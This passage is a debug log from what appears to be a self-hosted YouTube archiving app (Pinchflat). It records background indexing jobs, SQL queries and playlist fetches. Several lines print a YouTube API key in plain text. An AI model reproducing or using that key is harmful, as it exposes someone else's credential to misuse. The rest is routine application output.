s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:10.628 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:37:10.628 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:10.628 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:10.628 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:10.628 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:10.850 [debug] QUERY OK source="media_items" db=0.6ms idle=221.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 16:37:10.851 [debug] QUERY OK source="media_items" db=0.7ms idle=222.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:37:10.852 [debug] QUERY OK source="tasks" db=0.1ms idle=223.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800021, 18, ~U[2026-02-10 22:37:10Z], ~U[2026-02-10 22:37:10Z]] 16:37:10.852 [info] {"args":{"id":18},"id":3799983,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":224966,"event":"job:stop","queue_time":449267,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:10.858 [info] {"args":{"id":3},"id":3799984,"meta":{},"system_time":1770763030858674273,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:10.859 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:37:10.859 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:10.859 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:10.859 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:10.859 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:37:10.859 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:10.859 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:10.978 [debug] QUERY OK source="media_items" db=0.7ms idle=118.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 16:37:10.979 [debug] QUERY OK source="media_items" db=0.3ms idle=120.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:37:10.980 [debug] QUERY OK source="tasks" db=0.1ms idle=120.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800022, 39, ~U[2026-02-10 22:37:10Z], ~U[2026-02-10 22:37:10Z]] 16:37:10.981 [info] {"args":{"id":39},"id":3799982,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":353000,"event":"job:stop","queue_time":542593,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:11.056 [debug] QUERY OK source="media_items" db=0.6ms idle=75.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 16:37:11.057 [debug] QUERY OK source="media_items" db=0.5ms idle=76.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:37:11.146 [debug] QUERY OK source="tasks" db=19.7ms idle=140.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800023, 3, ~U[2026-02-10 22:37:11Z], ~U[2026-02-10 22:37:11Z]] 16:37:11.147 [info] {"args":{"id":3},"id":3799984,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":288175,"event":"job:stop","queue_time":543106,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:23.641 [info] {"args":{"id":36},"id":3799985,"meta":{},"system_time":1770763043641659125,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:23.641 [debug] QUERY OK source="sources" db=0.1ms idle=763.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:37:23.642 [debug] QUERY OK source="settings" db=0.0ms idle=763.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:23.642 [debug] QUERY OK source="media_profiles" db=0.1ms idle=763.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:23.642 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:23.642 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:37:23.642 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:23.642 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:23.801 [debug] QUERY OK source="media_items" db=0.6ms idle=158.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 16:37:23.802 [debug] QUERY OK source="media_items" db=0.6ms idle=159.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:37:23.803 [debug] QUERY OK source="tasks" db=0.1ms idle=160.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800024, 36, ~U[2026-02-10 22:37:23Z], ~U[2026-02-10 22:37:23Z]] 16:37:23.803 [info] {"args":{"id":36},"id":3799985,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":161605,"event":"job:stop","queue_time":522336,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:28.389 [info] {"source":"oban","duration":10062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:36.655 [info] {"args":{"id":23},"id":3799986,"meta":{},"system_time":1770763056655350746,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:36.655 [debug] QUERY OK source="sources" db=0.1ms idle=1777.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:37:36.655 [debug] QUERY OK source="settings" db=0.1ms idle=1007.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:36.656 [debug] QUERY OK source="media_profiles" db=0.1ms idle=777.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:36.656 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:36.656 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:37:36.656 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:36.656 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:36.743 [debug] QUERY OK source="media_items" db=0.6ms idle=86.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", 